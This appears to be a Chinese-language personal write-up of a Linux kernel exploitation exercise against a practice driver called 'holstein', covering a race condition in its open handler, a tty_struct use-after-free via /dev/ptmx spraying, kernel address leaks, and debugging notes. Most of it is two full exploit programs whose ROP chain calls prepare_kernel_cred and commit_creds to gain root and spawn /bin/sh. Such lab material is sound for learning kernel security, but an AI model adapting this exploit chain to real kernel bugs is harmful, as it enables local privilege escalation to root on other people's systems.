漏洞點在於,open 的時候 mutex 的檢查和設定不是原子操作。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
if (mutex) {
printk(KERN_INFO "resource is busy");
return -EBUSY;
}
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
如何利用條件競爭
可以開啟兩個 fd 然後關閉,來確認接下來使用的兩個 fd 是哪個。
void *race(void *) {
int fd;
while(1) {
while( !win ) {
// 如果2個程序都開啟了裝置,那就把 win 設為 1
fd = open("/dev/holstein", O_RDWR);
if( fd == fd2) {
win = 1;
}
if( win == 1 && fd != -1) {
// 如果本程序開了裝置,而且另一個程序也開啟
break;
} else if ( win == 0 && fd != -1) {
// 如果本程序開了裝置,但另一個程序沒開啟
close(fd);
} else if ( win == 1 && fd == -1) {
// 如果本程序沒開裝置,但另一個程序開啟了
win = 0;
}
}
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
break;
} else{
// 當前的 fd 肯定不是 -1
close(fd);
// 重置為 0
win = 0;
}
}
}
void create_overlap() {
// 提前測試 fd1 和 fd2 是多少
pthread_t th1, th2;
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
close(fd1);
close(fd2);
printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, NULL);
pthread_create(&th2, NULL, race, NULL);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[+] get next fds: %d, %d\n", fd1, fd2);
}
tyy spread 寫法
多執行緒用 tty structure 去 uaf 不是很穩定,常常用完了 fd 葉沒有拿到 tty structue...解決的方法是每次都檢查核心模組的地址有沒有被成功獲取,然後把之前開啟的沒用的 tty close 掉。
void *spread_tty( void *) {
char leak[0x40];
int i;
for ( i = 0; i < SPREAD_SIZE; i++) {
if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
perror("open tty");
goto fail;
}
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
printf("[+] spread tty success %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return &tty[i];
}
}
fail:
printf("[-] spread tty failed %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return 0;
}
一些奇怪問題
Q1
受不了,怎麼兩次拿到一樣的堆塊...即使不拿到一樣的堆塊,之前寫著 rop 的塊也會被其他 tty 申請導致協商的內容會被覆蓋。可是 fd2 如果不關閉,那沒辦法再申請一次呀...?
/ $ ./exp
[+] next fds: 3, 4
[+] get next fds: 3, 4
[+] spread tty success 0
kbase ffffffff82000000
kheap ffffa3f681bca400
[+] next fds: 4, 5
[+] get next fds: 4, 5
[+] spread tty success 0
gadget ffffffff8261c440
addr2 ffffa3f681bca400
原來不用關閉 fd2,因為當 fd1 關閉的時候已經可以再次申請了啊啊
Q2
有個疑問 ,為什麼 iretq 會失敗?哦,逆天,我忘記save status 了...
Q3
現在可以了,就是可能不是很穩定?有時候 kbase 的偏移會出問題,嗷~好像是因為這個 opt 的原始地址貌似不是一樣的,申請的塊裡面有兩種地址,我之前沒有發現,導致計算 kbase 的是很難
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18
0xffff9fd301bf9418: 0xffffffff8fc3aec0 0x0000000000000004
0xffff9fd301bf9428: 0x0000000000000000 0x0000000000000000
0xffff9fd301bf9438: 0xffff9fd301bf9438 0xffff9fd301bf9438
0xffff9fd301bf9448: 0xffff9fd301bf9448 0xffff9fd301bf9448
0xffff9fd301bf9458: 0xffff9fd301221a00 0xffffffff8f61c320
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18 + 0x400
0xffff9fd301bf9818: 0xffffffff8fc3afe0 0x0000000000000004
0xffff9fd301bf9828: 0x0000000000000000 0x0000000000000000
0xffff9fd301bf9838: 0xffff9fd301bf9838 0xffff9fd301bf9838
0xffff9fd301bf9848: 0xffff9fd301bf9848 0xffff9fd301bf9848
0xffff9fd301bf9858: 0xffff9fd3012219f0 0x000000000000000
在原始碼裡面 tty->ops 是由 driver 來確定的。但是 driver 可能不一樣?
tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
除錯了一下確實是兩個 driver
pwndbg> tele 0xffff8d02c13c06c0
00:0000│ rdi 0xffff8d02c13c06c0 ◂— 0x200005402
01:0008│ 0xffff8d02c13c06c8 —▸ 0xffff8d02c1996590 —▸ 0xffff8d02c105cb80 ◂— 0
02:0010│ 0xffff8d02c13c06d0 ◂— 0
03:0018│ 0xffff8d02c13c06d8 —▸ 0xffffffff96f44eb1 ◂— 'pty_slave'
04:0020│ 0xffff8d02c13c06e0 —▸ 0xffffffff96f269a7 ◂— 0x64616f6c00737470 /* 'pts' */
05:0028│ 0xffff8d02c13c06e8 ◂— 0x8800000000
06:0030│ 0xffff8d02c13c06f0 ◂— 0x10000000000000
07:0038│ 0xffff8d02c13c06f8 ◂— 0x50000020004
pwndbg> tele 0xffff8d02c13c0600
00:0000│ r15 0xffff8d02c13c0600 ◂— 0x200005402
01:0008│ 0xffff8d02c13c0608 —▸ 0xffff8d02c1996588 —▸ 0xffff8d02c105cb00 ◂— 0
02:0010│ 0xffff8d02c13c0610 ◂— 0
03:0018│ 0xffff8d02c13c0618 —▸ 0xffffffff96f44ea6 ◂— 'pty_master'
04:0020│ 0xffff8d02c13c0620 —▸ 0xffffffff96f44edd ◂— 0x2d797474006d7470 /* 'ptm' */
05:0028│ 0xffff8d02c13c0628 ◂— 0x8000000000
06:0030│ 0xffff8d02c13c0630 ◂— 0x10000000000000
07:0038│ 0xffff8d02c13c0638 ◂— 0x10004
一個是 pty_master 一個是 pty_slave [參考](ptmx(4): pseudoterminal master/slave - Linux man page) ,每次 open("/dev/ptmx", O_RDWR)
都會分配兩個 1024 大小的塊。
exp
現在好像比較穩定了
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;
// 0xffffffff810b13c5: pop rdi; ret;
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret;
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret;
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
// TODO 兩個開啟的 fc 怎麼確認
void *race(void *) {
int fd;
while(1) {
while( !win ) {
// 如果2個程序都開啟了裝置,那就把 win 設為 1
fd = open("/dev/holstein", O_RDWR);
if( fd == fd2) {
win = 1;
}
if( win == 1 && fd != -1) {
// 如果本程序開了裝置,而且另一個程序也開啟
break;
} else if ( win == 0 && fd != -1) {
// 如果本程序開了裝置,但另一個程序沒開啟
close(fd);
} else if ( win == 1 && fd == -1) {
// 如果本程序沒開裝置,但另一個程序開啟了
win = 0;
}
}
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
break;
} else{
// 當前的 fd 肯定不是 -1
close(fd);
// 重置為 0
win = 0;
}
}
}
void set_rop() {
// for(int i = 0; i < BUF_SIZE; i+=8) {
// *(uint64_t *)(buf1 + i) = i;
// }
*(uint64_t *)(buf1 + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_rbp_ret + kbase,
0,
0,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
write(fd2, buf1, BUF_SIZE);
}
void create_overlap() {
// 提前測試 fd1 和 fd2 是多少
pthread_t th1, th2;
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
close(fd1);
close(fd2);
printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, NULL);
pthread_create(&th2, NULL, race, NULL);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[+] get next fds: %d, %d\n", fd1, fd2);
}
void *spread_tty( void *) {
char leak[0x40];
int i;
for ( i = 0; i < SPREAD_SIZE; i++) {
if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
perror("open tty");
goto fail;
}
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
printf("[+] spread tty success %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return &tty[i];
}
}
fail:
printf("[-] spread tty failed %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return 0;
}
int main() {
save_status();
pthread_t th;
create_overlap();
close(fd1);
// TODO 開了太多描述符怎麼辦
int *rt;
rt = spread_tty(NULL);
while(!rt) {
pthread_create(&th, NULL, spread_tty, NULL);
pthread_join(th, (void *)&rt);
}
read(fd2, buf1, BUF_SIZE);
// kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
kheap = *(uint64_t *)(buf1 + 56) - 56;
print_hex("kbase", kbase);
print_hex("kheap", kheap);
print_hex("alloc_tty_struct", 0x334b30 + kbase);
getchar();
open("/dev/ptmx", O_RDWR);
getchar();
// put rop chain
set_rop();
// close(fd2);
create_overlap();
close(fd1);
rt = spread_tty(NULL);
while(!rt) {
pthread_create(&th, NULL, spread_tty, NULL);
pthread_join(th, (void *)&rt);
}
read(fd2, buf2, BUF_SIZE);
*(uint64_t *)(buf2+24) = kheap;
write(fd2, buf2, BUF_SIZE);
print_hex("gadget", gadget + kbase);
// for(int i = 0; i < BUF_SIZE; i+=8) {
// printf("%d", i);
// print_hex("buf2", *(uint64_t *)(buf2 + i));
// }
print_hex("addr2", (*(uint64_t *)(buf2 + 0x38) - 0x38));
getchar();
// 如今的 tty 是多少可以確定
printf("[+] tty: %d\n", *rt);
ioctl(*rt, kheap+0x80, kheap+0x80);
}
如果嘗試使用 sched_setaffinity
嘗試一下 bind cpu?
可以使用下面這種方法來繫結
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
...
cpu_set_t *cpu_set = (cpu_set_t*)arg;
if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set))
fatal("sched_setaffinity");
...
pthread_create(&th1, NULL, race, (void*)&t1_cpu);
pthread_create(&th2, NULL, race, (void*)&t2_cpu);
即使我繫結了 cpu 成功率也只有大概二分之一,而且 gdb 除錯的時候十分正常...
#define _GNU_SOURCE
#include <sched.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#define BUF_SIZE 0x400
#define SPREAD_SIZE 800
int win = 0;
char buf1[BUF_SIZE], buf2[BUF_SIZE];
int tty[SPREAD_SIZE];
int fd1, fd2;
// 0xffffffff810b13c5: pop rdi; ret;
// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret;
// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret;
uint64_t pop_rdi_ret = 0xb13c5;
uint64_t pop_rcx_rbp_ret = 0x3006fc;
uint64_t mov_rdi_rax_ret = 0x65094b;
uint64_t gadget = 0x61c440;
uint64_t kbase, kheap;
uint64_t commit_creds = 0x723e0;
uint64_t prepare_kernel_cred =0x72580;
uint64_t srrartu = 0x800e10 + 22;
uint64_t modprobe_path = 0xe384c0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
// TODO 兩個開啟的 fc 怎麼確認
void *race(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t*)arg;
sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
int fd;
while(1) {
while( !win ) {
// 如果2個程序都開啟了裝置,那就把 win 設為 1
fd = open("/dev/holstein", O_RDWR);
if( fd == fd2) {
win = 1;
}
if( win == 1 && fd != -1) {
// 如果本程序開了裝置,而且另一個程序也開啟
break;
} else if ( win == 0 && fd != -1) {
// 如果本程序開了裝置,但另一個程序沒開啟
close(fd);
} else if ( win == 1 && fd == -1) {
// 如果本程序沒開裝置,但另一個程序開啟了
win = 0;
}
}
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) {
break;
} else{
// 當前的 fd 肯定不是 -1
close(fd);
// 重置為 0
win = 0;
}
}
}
void set_rop() {
// for(int i = 0; i < BUF_SIZE; i+=8) {
// *(uint64_t *)(buf1 + i) = i;
// }
*(uint64_t *)(buf1 + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase,
0,
prepare_kernel_cred + kbase,
pop_rcx_rbp_ret + kbase,
0,
0,
0,
mov_rdi_rax_ret + kbase,
commit_creds + kbase,
srrartu + kbase,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain));
write(fd2, buf1, BUF_SIZE);
}
void *spread_tty( void *arg) {
cpu_set_t *cpu_set = (cpu_set_t*)arg;
sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
char leak[0x40];
int i;
for ( i = 0; i < SPREAD_SIZE; i++) {
if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) {
perror("open tty");
goto fail;
}
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) {
printf("[+] spread tty success %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return &tty[i];
}
}
fail:
printf("[-] spread tty failed %d\n", i);
for(int j = 0; j < i; j++) {
close(tty[j]);
}
return 0;
}
int create_overlap() {
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
// 提前測試 fd1 和 fd2 是多少
pthread_t th1, th2, th;
fd1 = open("/tmp", O_RDONLY);
fd2 = open("/tmp", O_RDONLY);
close(fd1);
close(fd2);
printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, (void*)&t1_cpu);
pthread_create(&th2, NULL, race, (void*)&t2_cpu);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
printf("[+] get next fds: %d, %d\n", fd1, fd2);
close(fd1);
int *rt;
rt = spread_tty((void*)&t1_cpu);
while(!rt) {
pthread_create(&th, NULL, spread_tty, (void*)&t2_cpu);
pthread_join(th, (void *)&rt);
}
return *rt;
}
int main() {
save_status();
create_overlap();
read(fd2, buf1, BUF_SIZE);
// kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ;
kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
kheap = *(uint64_t *)(buf1 + 56) - 56;
print_hex("kbase", kbase);
print_hex("kheap", kheap);
// put rop chain
set_rop();
// 不需要 close(fd2); 因為在 fd1 close 的時候 mutex 已經為 0
int rt = create_overlap();
read(fd2, buf2, BUF_SIZE);
*(uint64_t *)(buf2+24) = kheap;
write(fd2, buf2, BUF_SIZE);
print_hex("heap 2:", (*(uint64_t *)(buf2 + 56) - 56));
print_hex("gadget", gadget + kbase);
getchar();
// 如今的 tty 是多少可以確定
printf("[+] tty: %d\n", rt);
ioctl(rt, kheap+0x80, kheap+0x80);
}